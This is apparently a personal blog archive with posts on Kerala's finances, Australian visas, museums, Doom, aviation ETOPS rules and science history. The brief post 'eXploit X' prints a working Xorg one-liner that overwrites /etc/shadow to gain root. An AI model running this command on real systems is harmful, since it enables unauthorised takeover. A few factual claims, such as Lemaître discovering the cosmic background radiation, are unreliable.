The Vices of Malayalis, and how the state lives on it

Came across a much needed, and nicely researched article on how the state of Kerala, India, feeds off the taxes paid by its poorest citizens. Keralites, you see, have a penchant for alcohol, and lotteries. And both of these are controlled largely by the state government. A third vice is finance instrument called chit-funds, a remnant of a once stronger economy. Some of the figures being reported in this article is truly scary; and its all debt !

Kerala’s is an interesting, if not curious, economy.  The cash-strapped state -- it has a debt ratio of over 30 per cent -- the highest and most deteriorating debt among all states since 2013 -- is keeping its finances alive through the vices of its people - heavy alcohol consumption and penchant for lottery tickets. The state government has the monopoly to sell alcohol, through the Kerala State Beverages Corporation or Bevco, while the ‘gambling-type’ addiction of buying lotteries of its people is fed through the Lotteries Department, which sells lakhs of lottery tickets on a daily basis. At over 8 litres per person per year, Kerala has alcohol consumption per person per year compared to the national average of 5.7 litres per person per year. The sales tax on alcohol has been going up from 20 per cent in 1960-61 to 210 per cent now.

As per the latest data, the income from the lottery for 2017-18 stands at Rs 9,034.16 crore while the revenue from liquor sales (state excise + sales tax) stood at Rs 12,937.09 crore in the same period. Add to this is the bumper sales during festivals like Onam. In the pre-Onam week alone, Bevco sold a whopping Rs 487 crore worth liquor while the lottery tickets offer eye-popping prize money of Rs 16 crore.

“The entire approach of the state government is flawed and regressive. To manage its coffers, Kerala Government is not only punishing the poorest but it is also encouraging them to buy an addictive product like lottery by selling dreams,” said Jose Sebastian, who teaches at the Gulati Institute of Finance and Taxation.

“It’s no secret who’s consuming most liquor and who’s buying the lottery tickets. It’s mostly the poorest sections of society. Gujarat neither sells liquor or lottery, yet it is the top-performing state in the country,” he said.

According to a study by Sebastian, Kerala has a wide tax base covering various sections of people and different kinds of economic activities. This is not reflected in the revenue collection. “Virtually, the effective revenue base has been getting narrowed down to four items -- petroleum and petrol products, liquor of all kinds, motor vehicles and lottery,” he said.

“An unintended consequence of the evolution of Kerala’s revenue structure is that it places a disproportionately high burden on the poor and marginalised sections of society. They are the major consumers of liquor and lottery. The share of these two in SOR increased from 14.77 per cent in 1970-71 to 34.46 per cent in 2016-17. Motor vehicles like three-wheelers, pickup vans and taxis powered by petroleum products are the source of livelihood for many of this class,” he said.

V K Vijayakumar, chief investment strategist, Geojit Financial Services, said the LDF Government and its Finance Minister T M Thomas Isaac have been adopting a policy of borrowing and continued borrowing to meet the day-to-day needs. “Hard decisions such as hiking education fees, concessions for students travel or the property tax, which have not been touched for several decades, are not taken as it will backfire politically,” he said.

Vijayakumar pointed out that property tax has not been hiked since 1995 while students continue to travel at nominal rates though they have no qualms in spending thousands on mobile bills or on autos/share cabs every month.

Another big consumption by the state is gold, but it now comes under the Goods and Services Tax. Recently, the Finance Minister lamented that the state government gets less than Rs 200 crore as tax from gold sales while under the scrapped Value Added Tax (VAT) regime it used to fetch Rs 750 crore. Kerala is the top consumer of the yellow metal and Isaac blamed lack of preparedness and absence of invoices for the ‘huge leakages’ in GST revenue. Economist K V Joseph pointed out that the tuition fees in government medical colleges are as low as Rs 25,000 while in private colleges it is Rs 5.5-6.5 lakh yearly.

“While lower-income bracket people and SC/ST category can be exempted from higher fees, the government should look at hiking fees for those from higher-income families,” he said. Joseph advocated similar hike in taxes from forestry and land/property registration and taxes.

Geojit’s Vijayakumar blamed the state government for spending recklessly when the state coffers are drying up. “The state’s debt is Rs 1.5 lakh crore. When the state is in deep debt, the government has spent Rs 5.90 crore on politically accommodating VS Achuthanandan in Kerala Administrative Reforms Commission. Our Public Service Commission has 21 members while Madhya Pradesh PSC has just four members and Gujarat seven. All these members are paid over Rs 1.5 lakh per month. The government would do well to cut its unnecessary expenditure first when the state is in deep financial crisis,” he said.

Will Finance Minister Isaac think out of the box to find new revenue models? Will he bite the bullet? No chance when the state is heading for an election season -- the byelections followed by the local body polls in 2020, and the Assembly polls in 2021.

Another addictive habit of Malayalees is joining money-saving scheme or chits or chitties, which combine the advantages of both investment and advance. No wonder, while most Kerala PSUs are loss-making or white elephants, the Kerala State Financial Enterprises or KSFE, which runs chitties of several sizes, is flourishing. Compared to unofficial chits run by individuals, which are illegal, the KSFE chits are risk-free safe haven for the public as the institution conducts only chitties fully governed by provisions of the Central Chit Fund Act 1982.

Satirical governance

It is that time of the year again. Half way through,we Indians get this opportunity to observe the anniversary of the day India won its independence. Today is mostly a day of political buffoonery. Speeches, promises, lies. But a great day for flag-sellers. As children, we used to be proud observing this Independence Day, today the meaning of those words is truly lost.

Today, most of the country is drowning in flood water, caused by unprecedented torrential rain, but the actual destruction caused by uncontrolled development, and destruction of natural resources. More than 150 people have died. This after the country reeled under a summer heatwave, droughts, and its cities running out of drinking water. So now one half of the year is time of drought, and the rest if the time for floods.

Multiple reports seem to point to the economy being in severe distress, especially since the date the last budget was announced. Manufacutring, specially automobiles, has nose dived. There are still religion driven atrocities being reported from all over the country. Attacks and molestation on women continue. And the decision to abrogate the special status provision for one if India's own state has now put the nation on the nation's watch citing human rights violation.

The British might have left decades ago. But India still has not learnt to properly govern and run itself. Is there a reason to be happy about any of this ?

Governance has become a joke. And its not even funny.

Best museum visit ever !

Today I learnt a lot. Because today, I went to the museum. I felt like a kid again, and boy, was it fun. This would be my best museum trip ever. I visited the Melbourne Museum in Carlton, just because I had a day off and didn't kmow what else to do. A day well spent.

First off, I have always had dual relationships with museums. The name is supposed to spark curiosity, and fun, and questions. But the museums in India are so poorly done, the only question it invokes is "Why is this place still open ?". They don't have that many speciemens, due to …well, lack of funding. They focus on near history, our recent past only, and no address what we know in the long term. And they also don't bother about the future. They put up paintings and sculptures on their walls, but they don't spark curiosity.

But I have had better museum visits outside India. The natural history museum in Helsinki had dinosaurs. The one in Austria focussed on European flaura and fauna. Also..Vikings ! These guys really know their stuff. So I had high hopes when I walked into the largest museum in the southern hemisphere , in Melbourne.

The dinosaur walk was front and center. And they talked at length on the earth, meteorites, and a little too much about crystals and stones. Nothing fancy about that. One or two collections would have been enough. But upstairs, they talked about evolution, and the principle minds that worked behind that idea. And a room full of taxidermied animals ! And more bees and butterflies !  Some of Darwin's and Owens' original specimens are also on display, you have to squint to spot them ! The focus was on animals found in Victoria, but they also added a polar bear and a panda. The whole arrangement, lighing, and occasinal sound effects were all perfect.  Just enough information to answer your queries, without a long monotnous speech. Sadly, I missed the marine room.

The outdoor installation of Forest history is very cleverly done. I doubt anybody else would have thought about that. They already had giant trees in the back, and they built underground installations to show the birds and animals of such a forest.

Wonders never cease. They have spent a good portion of their space to talk about Victoria, and Melbourne's own little history. Through detailed research and hundreds of actual historical pieces, they have told a continous story of this city from its colonial past. The original natives of this place is mentioned, and without sugercoating, they have also detailed the cruelty these people had to suffer at the hands of 'white-men'. After the gold rush, and a huge influx of migrants, the city planners really had to work overtime to get back to a planned, livable city.

This is where the history of Melbourne differed from a place like..well, an Indian city. Through planning , and efficient government, they built the most livable city in the world, out of slums and closed mines. They go through both the world wars, and were able to successfully move to modernizatin. There are separate exhibits of objects used in all these various time-capsules. The first electrical appliances, the first cable driven trams, old movies, and radios, and then music and footy..the time travel was instantaneous ! I specially adored the pieces designed for their maritime history, with scale models of wooden clippers, and large luxury liners, even a navy ship. They have these little photo albums placed at various points, with real photos taken by people living in here, in various points of time. Thanks to photography, we can now glimpse how they lived , more than 120 years ago. No question, they put on their best clothes while posing for the cameras !

So, in closing, this is how a museum should be designed. There is no way a place can cover 4 billion years of history in a day. The key is to show snippets, and answer questions that really matter. If you have a spare day, spend it at the museum, you feel like a kid again. You won't be dissappointed.

Australian visas and immigration: Changes from July 1

Longtime in the works, Australia is changing their immigration laws, reducing the overall number of Visas being handed out, but allowing for migration to its rural areas. This will allow the cities to shed some of their growing population, but also encourage economy and development in relatively un-populated areas.

Immigration cap lowered

Following months of posturing on the issue of growing congestion in Sydney and Melbourne, the Federal Government announced in March this year that it will cut back Australia's annual permanent immigration intake to 160,000. The intake has been capped at 190,000 since 2011 but the actual intake fell to just over 162,000 in 2017-18 for the first time in over a decade.

The impact of the overall cut will be absorbed by Skilled Independent visas that allowed people to live and work anywhere in Australia. The annual quota of this subclass has been slashed from over 43,000 to nearly 18,000 – a move that has temporary residents in Australia worried that it might force a prolonged temporary residency period on them.

The government said the cap will be maintained for the next four years.

New regional visas

The government also announced an increase in the number of visa places for regional Australia with 23,000 skilled visas being reserved for those willing to live and work in the regions.

The two new provisional regional visas to be introduced in November this year – Skilled Employer Sponsored Visa and Skilled Work Regional Visa will have 9,000 and 14,000 places respectively within the annual immigration cap of 160,000.

Visa holders of these subclasses will be required to spend at least three years in regional areas in order to become eligible to apply for permanent residency, instead of two years. A new regional permanent visa will be introduced in 2022.

International students will be able to access an additional year of post-study visa if they study in an educational institute in the regions, outside of Melbourne, Sydney, Perth and southeast Queensland.

The changes to the points test are to introduce:

· more points for having a skilled spouse or de facto partner (10 points);

· more points for applicants nominated by a State or Territory government or sponsored by a family member residing in regional Australia (15 points);

· more points for having certain STEM qualifications (10 points);

· points for applicants who do not have a spouse or de facto partner (10 points); and

· points for applicants with a spouse or de facto partner who has competent English (5 points).

Citizenship changes abandoned

According to media reports, the Federal Government has abandoned the legislation that would have made migrants to wait longer and prove they have competent English proficiency before they could apply for Australian citizenship.

New parent visa

The new Temporary Sponsored Parent visa applications are being accepted from 1 July 2019. The visa – first promised ahead of the 2016 federal election – is being made available this year after the legislation it was tied to passed through the federal parliament in October last year. The new visa is linked to a sponsorship framework under which Australian citizen or permanent residents have to first apply to become approved sponsors. Once they are approved as sponsors, their parents will be able to apply for the visa that will allow them to stay in Australia for a continuous period of up to five years with a single opportunity for renewal. The total number of visas issued is capped at 15,000 per year.

What this means

The decrease in total number of Visas is clearly aimed at decongesting Australia's cities, where immigration has been a hot debate topic for years, as that is where most of the skilled migrants end up. The increase of geographically restricted visas outside the capitals  is aimed to moving some of the incoming migrants to the parts of the country most in need of help. The points system for migrants to these rural areas has also ben revamped so that immigrants qualify with enough points inorder to get through the set thresholds. Already the minimum points required to qualify for a 189 skilled migrant visa is 85 , a far cry from the minimum requirement of 60 from just two years ago.

How does immigration impact the economy?

 

Jet goes down

The trending news right now is: Jet Airways goes down. Its been on the news for a few months now, but no-one took it that seriously, I guess. Specially not the lenders. Now with billions disappeared, and thousands of jobs gone, neither the lenders nor the government has an idea of what to do next. And suddenly, everyone on the internet and on the ground is an expert. Doling out experiences and advice on how these billions can be recovered.

It reminds me of this article from years ago, when it was celebrated that Jet Airways had amassed half a million fans on Facebook. Alas, likes and fans couln't save the airline. Sort of how it is new when Indian movie trailers get millions of views and likes on youtube, and then the actual movie comes out and..tanks .

The only silver lining in all of this is that unlike Mallya, who absconded to the UK, Jet Airways founder Goyal did not just..fly away. He is still in the country and fighting it with the lenders.

This is just one more example of bad management. Companies go out of buisness all the time. Millions have and many more millions will. Employees and investors have to simply, move on.

So let's move on from this man-made disaster, and focus on more iimportant things.

Like the royal baby.

Which country has the most earthquakes?

 

Today I read about the recent earthquake and tsunami in Indonesia. It was caused by the eruption on the younger volcano Anak Krakatau. Also, the country was hit by another tsunami just three month’s prior.

Which got me thinking, why does this country get so many quakes,and tsunamis ? And..how large is this country ? Never thought about it geographically. So I looked around.

Indonesia is one heck of a country, split across five different larger islands, but comprising of upto 18,000 islands ! Managing one landmass is difficult enough, but here they have a political and geographical nightmare to manage, with so many different ethinicities and cultures ! All in the largest sesimically active regions on this planet.

This is what I found on the USGS site.

Which country has the most earthquakes?

The answer to this question is not as straightforward as it may seem. In order to most accurately answer it, we will rephrase the question four different ways:

1. For which country do we locate the most earthquakes? Japan. The whole country is in a very active seismic area, and they have the densest seismic network in the world, so they are able to record many earthquakes.
2. Which country actually has the most earthquakes? Indonesia is in a very active seismic zone, also, but by virtue of its larger size than Japan, it has more total earthquakes.
3. Which country has the most earthquakes per unit area? This would probably be Tonga, Fiji, or Indonesia since they are all in extremely active seismic areas along subduction zones. The sparse seismic instrumentation in those areas doesn't allow us to actually record all the smaller earthquakes.
4. Which country has the most catastrophic earthquakes, or which has had the most damage and fatalities? Both China and Iran are in seismically active areas, have very long historical records, and have had many catastrophic earthquakes. Turkey is also worth mentioning in this category.

 

That is a lot of earthquakes, and a miracle that these places still exist and are able to govern themselves all the while standing on plates floating on molten lava.

 

And this is Indonesia ! The area marked in red. Imagine governing this landmass, when there are average 4 earthquakes per year in the country.

 

 

Happy 140th birthday, Einstein

Albert Einstein was born 140 years ago. Yes. He lived over a century ago. And his ideas continue to inspire and question us today. And will continue to. Probably the most influencial figure in science today.

In 1900, Einstein's paper "Folgerungen aus den Capillaritätserscheinungen" ("Conclusions from the Capillarity Phenomena") was published in the journal Annalen der Physik.On 30 April 1905, Einstein completed his thesis,with Alfred Kleiner, Professor of Experimental Physics, serving as pro-forma advisor. As a result, Einstein was awarded a PhD by the University of Zürich, with his dissertation "A New Determination of Molecular Dimensions".

In that same year, which has been called Einstein's annus mirabilis (miracle year), he published four groundbreaking papers, on the photoelectric effect, Brownian motion, special relativity, and the equivalence of mass and energy, which were to bring him to the notice of the academic world, at the age of 26.

25 years of Doom

 

The ‘Doom’ in the title refers to the original computer video game released by the folks at iD software. 25 years ago, on December 10th, DOOM.zip was first published on the University of Wisconsin FTP server in December 1993. When the upload was complete, 10,000 people attempted to download the game at once, crashing the university's network. That game was the true push to the next generation of FPS games, moving away from fun to more darker genres. Every video game in use today has inherited or was inspired in some way to the original Doom.

I myself came across the game only five years later, given the serious lack of internet connectivity in India. People had to share the first episode of the shareware offline on floppy disks , and magazine CDs. The programmer in me was instantly hooked, more by the complex worlds created by the code on a 2d screen, than the actual game play. I knew immediately, I wanted to get into 3d graphics programming, and join the team of cutting edge , microprocessor system programming.

Years later, well, I am no-where in that area, although I do code. I now work in boring enterprise computing, using a fraction of my brainpower I used during my assembly language days in school. I did end up creating a 3d engine, using sectors for maps and perspective texture mapping, but I could not start a career into that area.

John Carmack is a computing god. And Doom is just one of the ways he pushed computing power of the 90s to its limits. Those days of efficient, system programming is long gone, and modern programmers don’t care about using as little memory as possible.  But if you are interested, you can read about the source code of Doom in a new black book.

Its only a matter of years before Doom will end up in the museum of computing history.

 

It floods here too

 

Living in India through floods and famines, I thought, had prepared me for the worst of climate change elsewhere in the world. Almost, because I knew well to stay at home today. Because it is flooding outside right now.

The whole NSW region, Sydney specially, has been continously battered by rain and winds since early this morning. The memes are out, and still coming in.  Roads are flooded, trains have stopped, underground stations are flooded too, and people are stranded. Just like that time.

But the one thing that separates this reality with what was witnessed back home, was that NSW was prepared. The oncoming storm was called out weeks ago, and warnings were issued well in advance. People still tried to get to work, but I guess most are safe.

Some pics:

 

 

 

As of right now, there are no deaths reported. Two deaths have been reported. Far less than what is otherwise expected.

There is no fighting nature. All that we can do is to be prepared.

eXploit X : "Give Me Root"

 

These old school Unix exploits still work !!

 

 

cd /etc; Xorg -fp "root::16431:0:99999:7:::"  -logfile shadow  :1;su

Reads like fiction : The oracle executive who changed his identity to escape law.

 

I had the habit of reading detective fiction, and espionage novels during high school and college. But later the hobby died a gradual death as I got busy with work. Now I just read the news. But gone are the days of simple, straightforward news. Now the crimes being reported are stranger than fiction.

This week I read this bizarre news of this murderer who changed his identity from a Malayali to a Gujarathi to escape law for 15 years. He was finally caughtcaught because he was still in touch with his loving mother, of all people.

On Thursday, Pravin Bhateley, a senior manager working with Oracle Private Limited on Bannerghatta Road in Bengaluru, was arrested by the Ahmedabad police. But strangely, Kiran Chowdhury, the inspector dressed as an employee of the IT company who came to arrest Pravin, said, "Hello Tarun, it's over... Let's go."

 

Read TNM’s excellent coverage of the news.

 

Oracle ! Seems like a right fit for him.

 

 

 

Georges Lemaître , a scientist priest.

Georges Lemaître was an astronomer and professor of physics who is thought to be the first to have theorised that the universe is expanding.

His theory was observationally confirmed soon afterwards by Edwin Hubble in what is now known as Hubble’s Law.

Lemaître is also credited with proposing what has now become known as the Big Bang theory – which says that the observable universe began with an explosion of a single particle.

Born on 17 July 1894 in Belgium, he initially began studying civil engineering. His academic pursuits were however put on hold while he served in the Belgian army for the duration of the First World War.

After the war, he studied physics and mathematics and was also ordained as a priest.

In 1923 he became a graduate student at the University of Cambridge before going on to study at Harvard and Massachusetts Institute of Technology (MIT).

In 1925 he returned to Belgium, where he became a part-time lecturer at the Catholic University of Leuven. Two years later, he published his groundbreaking idea of an expanding universe.

His initial idea was not related specifically to the Big Bang, but his later research focused on the concept of the universe starting from a single atom.

In 1933 at the California Institute of Technology, some of the greatest scientists of the time from around the world gathered to hear a series of lectures.

After Lemaître delivered his lecture and theory, Albert Einstein stood up and said: “This is the most beautiful and satisfactory explanation of creation to which I ever listened."

He was elected a member of the Royal Academy of Sciences and Arts of Belgium and the Pontifical Academy of Sciences.

In 1951, Pope Pius XII claimed that Lemaître's theory provided a scientific validation for Catholicism – a claim that Lemaître resented, as he stated his theory was neutral.

He died in 1966, shortly after he discovered the existence of cosmic microwave background radiation, which added weight to his theory on the birth of the universe.

India’s middle class has no spare money to spend

I love reading the economist, when I get the time, that is. Too bad they don’t cover India very often. But when they do publish something, they offer a new perspective to look at things. An outsider’s prespective. So I was a little surprised when they published not one, but two different articles about the Indian economy in January this year. Revealing and thought provoking, the articles where like migthy sucker punches. What was even more hilarious was the war-of-dumb-words going on in the comments section of both those articles. Patriotic Indians debating both sides by offering proof citing other media articles. I resisted the temptation to join the cockfight. Pretty hard to do when the articles were spot on.Before we proceed, please read these articles on how the magazine works internationally, and why their writers are anonymous.The two new articles about India basically say that the Indian middle class has no spare money to spend on world-class luxuries, as they are getting poorer and poorer. And the whole idea that India is the fastest growing economy and the next place for international brands to set shop is a sham. Something I had long suspected. Most international brands like Apple , Amazon and Google have already learnt this truth, and others are catching on. The articles then go to explain as to how this happened and why the trend still continues.
Why is the middle class of the economy important ? These would be the people whose income is increasing and are more likely to purchase more products and services, specially from new gen companies , probably international markets. The upper class can be considered saturated, they might have already purchased luxuries. And the lower class, well, they can’t be sold.Go over to wikipedia’s article and sort the list of countries according to income classes. India has the lowest percentage of middle and upper class.Other points which stood out.
Ouch !The truth can be distilled out easily, even after becoming the world’s fastest growing economy, Indians do not have the purchasing power that their counterparts in other developing or developed countries have. Indians are spending, but they only buy the cheapest options in every category. Not because they are saving the rest, but because that is all that they can afford. Indian customers buy the cheapest chines manufactured phones and tvs, instead of those fancy western brands. They buy made in India apparel and eat at low cost restuarants, instead of shopping from international brands and eating at international fast food chains. If a middle class family’s bread earner gets a promotion or comes to any extra wealth, they would rather invest that money in better healthcare or save it in a long term account , instead of purchasing non-essentials for the family. They see every expenditure as a liability, and every opportunity to save as a chance to grow. This is not the kind of market which would upgrade their smartphones every few months, or would eat at a five star restuarant to celebrate occasions.But we have known this for years. This is the very defnition of the Indian middle class. Spend only on needs, not on greeds.Some other eye openers: Apple made 0.7% of its global revenues in India in the year to March 2017.Facebook, though it has 241m users in India, probably the most in the world in one country, registered revenues of just $51m in the same period.Google is growing more slowly in India than in the rest of the world.Despite two decades of investment McDonald’s has hardly any more joints in India than in Poland or Taiwan.Starbucks says it has big plans for India but has opened about one new coffee shop a month over the past two years, bringing its total to around 100—on a par with Utah or the United Arab Emirates. A new Starbucks opens in China every 15 hours, adding to 3,000 already operating.Inditex, Zara’s parent firm, has 46 clothes shops in India, fewer than in Ireland, Lithuania or Kazakhstan.Hindustan Unilever, which purveys sachets of shampoo for just a few rupees, has seen virtually no sales growth in dollar terms since 2012.Even after years of enticing customers with heavily discounted wares, perhaps 50m online shoppers are active in India—roughly, the richest 5-10% of the population.India is now the fourth largest auto market, having overtaken Germany, but 80% of those sales was to Indian company Maruthi, which makes the cheapest, or most affordable vehicles in the country. So in terms of money, this is still among the cheapest markets.  International brands have not succeeded in India.Even for someone in the top 10% of Indian earners, an annual Netflix subscription can cost over a week’s income.Apple ads may plaster Mumbai, Delhi and Bangalore, but for only one in ten Indians would the latest iPhone represent less than half a year’s salary.On and on..The reason for this downward spiral are many. First is the bureacracy. Or should I say bureacrazy.Another is the informal industry. 93% of Indians work in the informal sector, earning less than 10 dollars a day.Then there is the education, or lack of.
So, whats the takeaway. The illusion is wearing off. Soon international brands will realize that the only way they can cater to this dissiappearing market is to offer localized, cheaper and affordable options. They may get the market in term of units sold.But not for value earned.x
x

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Wow , thats disappointing

The 40-Year Old Mystery of the "Wow!" Signal Was Just Solved. Background: In 1977, the sound of extraterrestrials was heard by human ears for the first time — or so people at the time thought. The Wow! Signal was detected by astronomer Jerry Ehman using Ohio State University’s Big Ear radio telescope. It is a radio signal detector that, at the time, was pointed at a group of stars called Chi Sagittarii in the constellation Sagittarius.

When scanning the skies around the stars, Ehman captured a 72 second burst of radio waves: He circled the reading and wrote “Wow!: next to it, hence the signal’s name. Over the last 40 years, the signal has been cited as evidence that we are not alone in the galaxy. Experts and laypeople alike believed that, finally, we had evidence of alien life.

For a very long time , this was the strongest candidate we had as proof of extraterrestrial intelligence. It could not be explained any other way. However, Professor Antonio Paris, of St Petersburg College, has now discovered the explanation: A pair of comets. The work was published in the Journal of the Washington Academy of Sciences.

These comets, known as  266P/Christensen and 335P/Gibbs, have clouds of hydrogen gas millions of kilometers in diameter surrounding them. The Wow! Signal was detected at 1420MHz, which is the radio frequency hydrogen naturally emits. Notably, the team has verified that the comets were within the vicinity at the time, and they report that the radio signals from 266/P Christensen matched those from the Wow! signal.

Pluto Is Still A Planet….

 

…in New Mexico !

As far as most of the world is concerned, poor Pluto got downgraded from planet to dwarf planet (or planetoid) back in 2006 when the International Astronomical Union revised their definition of what constitutes a planet. For the curious, Pluto was downgraded because it lacks enough gravitational pull to distinguish itself from other dwarf planets in similar nearby orbits.

Whatever the reason was for the change in Pluto’s classification, New Mexico’s House of Representatives was having none of it. For you see, the man who discovered Pluto back in the 1930s, Clyde Tombaugh, was a long-time resident and a former professor of astronomy at New Mexico State University. Regardless of what the international astronomy community had to say about the matter, the people of New Mexico had a very strong opinion about the matter. Kandilley, karimeen puttaakee ?

In 2007, the House of Representatives passed a resolution declaring that March 13, 2007 would be observed as Pluto Planet Day and that whenever Pluto is in such a position that it can be observed in New Mexico’s night skies it is, in fact, still a full-fledged planet.

Bonus Trivia: Because Clyde Tombaugh was born in Illinois, the Illinois State Senate passed a resolution in 2009 that asserted Pluto was “unfairly downgraded to a dwarf planet” by the IAU.

Today I read about ETOPS certification for planes

 

“It’ll be a cold day in hell before I let twins fly long-haul over-water routes.” Those were the words of Lynn Helms—administrator of the Federal Aviation Administration during the Reagan administration. At the time, no commercial american airplane with two engines was allowed to fly anywhere farther than 60 minutes from a diversion airport. The belief was that, if one engine failed, the other could only safely fly the plane for about an hour, but this rule severely limited what smaller planes could do. On North Atlantic routes like New York to London, twin-engine planes could only fly in these areas but a direct route looked like this. The options were to either fly a twin-engine plane on an inefficient routing or fly a inefficient three or four engine plane. There was no place for long-and-skinny routes between smaller cities using smaller planes since airline couldn’t legally fly those smaller planes. This one simple rule changed the very way airplanes were built. Now, in the 60’s, this 60 minute regulation only applied to planes with two engines. Of course aircraft manufacturers could build quad-engine jets but those had to be huge for airlines to make their money’s worth with their high fuel consumption. The 747’s of the time could carry more than 400 passengers. They could therefore only fly on super high-demand routes like New York to London to have any hope of being full. In order to start flying more convenient non-stop routes from smaller markets, planes had to get smaller while still being legally allowed to hop the pond.

That’s where trijets came into play. With three engines, these planes weren’t subject to the same 60-minute regulation as twinjets. They could easily fly any transatlantic route. That’s why in the 70s or 80s, the long-haul jets you’d see at airpots were, for the most part, either 747’s or trijets like the DC-10.

This 60-minute regulation was inconvenient for Atlantic Crossings, but in the Pacific it actually changed how Hawaii developed. There are zero diversion airports between California and Hawaii so the route isn’t even close to covered under the 60-minute rule. As a result, airlines could only fly huge planes between the mainland and Hawaii which meant that planes could pretty much only fly to Honolulu. Puttakke puttakke karimeen puttaakkee. There was virtually no service between the other islands and the mainland which meant the other islands were severely isolated. That’s part of the reason why the tourism industry only picked up on the other islands in recent decades. Luckily, change was coming. The 60 minute rule originated from the days of piston driven propeller aircraft.

With these, it was far more common for engines to just stop working mid-flight. That’s why there were contingency engines. The regulations just didn’t adapt to the increased reliability of jet engines. Statistically, for every failure of a jet engine, there are 117 piston engine failures. Once the jet age rolled in, engine failure just wasn’t as much of a concern, so, in 1985, the FAA begrudgingly granted permission to Trans World Airlines to fly their twin-engined

767 direct between Boston and Paris—a route taking it up to 120 minutes away from diversion airports. This was the first example of a brand new FAA certification called ETOPS—“Extended-range Twin-engine Operational Performance Standards,” or more colloquially, “engines turn or passengers swim.” Before an airline can fly a long over-water route they have to buy a plane with what’s known as an ETOPS type rating. Basically that means that the plane was built with adequate redundancies, communications systems, and fire suppression systems to fly safely if one engine fails. For example, the 767—the first plane to get an ETOPS certification—has a type rating of 180 minutes meaning it can fly anywhere as long as its 180 minutes from a diversion airport.

But just because a plane has a type rating doesn’t mean an airline can fly it ETOPS. They have to have a special maintenance plan, a special flight crew, special cabin crew, special dispatchers, special fuel quantities, and special passenger recovery plans since, just because there’s a runway doesn’t mean that a plane can safely divert since the emergency doesn’t end once the plane lands. Cold Bay, Alaska, for example, is a perfect diversion airport for routes between Asia and North America. It only has six commercial flights per week nowadays but as a former Air Force Base it has an enormous runway. The only issue is that the town of Cold Bay has a population of 108—its tiny—so any diversions automatically double or triple the amount of people in the small town. There certainly aren’t enough hotel rooms or restaurants to house and feed stranded passengers so, if airlines plan to use Cold Bay as a diversion airport, they need to make a plan for how to house, feed, and recover passengers within 48 hours of landing. Last year an American Airlines 787 was flying from Shanghai to Chicago when its right engine had an issue halfway across the Pacific Ocean. The plane quickly took a left turn diverting to Cold Bay. Even before landing the plan was implemented as flight attendants served a second meal service early. Just a few hours after safely landing in Cold Bay, American’s mechanics took off from Seattle bound for Cold Bay to start fixing the plane while Alaska Airlines, American’s partner, sent a 737 from Anchorage to pick up the stranded passengers. Meanwhile, flight attendants served the third set of meals they had stocked while waiting on the ground and the coast guard opened their heated hanger to passengers.

Just 10 hours after the emergency landing, passengers were on their way to Anchorage where they spent the night before taking an American 757 to Chicago. That was a perfect example of how the passenger recovery plan worked. The quick response and defined plan helped the airline get passengers out safely and quickly. Now, because of the solid engine reliability, numerous redundancies, and well-designed passenger  recovery plans, airlines and airplanes can now receive insane ETOPS certifications. The 787 Dreamliner, the plane that diverted to Cold Bay, has a type rating of 330 minutes. That means it can fly up to 5.5 hours away from a diversion airport. Certain routes over long-ocean stretches in the southern hemisphere were theoretically possible in the past with four engine planes but were economically impossible since airlines could never fill the large planes on the low-demand city pairs like Melbourne to Santiago.

With the ETOPS 330 certification, LATAM Airlines can fly their small 787 economically on this relatively low-demand route across the South Pacific. The Airbus a350 is even rated for ETOPS 370—it can fly 6 hours and 10 minutes away from diversion airports. This plane can therefore fly everywhere on earth except directly over the South Pole. Because of this simple rule change, three and four engine planes are largely a relic of the past. Boeing and Airbus’ largest jets are both their only four engine planes in production—the 747 and a380. Nearly all North Atlantic traffic today is on twin-engined planes as smaller and smaller planes get ETOPS certifications. Air Canada, for example, flies their tiny 120 passenger a319 with ETOPS certification daily between St Johns Airport and London Heathrow. British Airways even sends the even smaller a318 between New York and London City Airport. These routes would have been unimaginable 30 years ago but the reliability of the airplanes of today mean we need not fear flying small planes over big oceans.

Live : House hearing on Russia's involvement in the 2016 election

 

10 years. Felt like 100

 

Today I reached another milestone. 10 years ago to this day, I had started (technically restarted) my career in the IT industry. But it felt like a hundred years.

And all these years later, exhausted, and after paying tens of lakhs in taxes, was it worth it ?

To some extend. But not completely.

I made some bad career choices over the years. Some bad financial choices too.

I could have done better. And better late than never.

So I am now going to start another chapter in my career and life soon.

Here’s to the next 10 years.

United States Wins 1,000th Olympic Gold Medal

 

The United States won its 1,000th Olympic gold medal on Saturday when the American women swimmers won the 4x100 meter medley relay at the Rio Games.  Not 1000 medals. 1000 Gold medals !

 

 

Now that’s just awesome ! This is due to the high importance given to all kinds of sports there.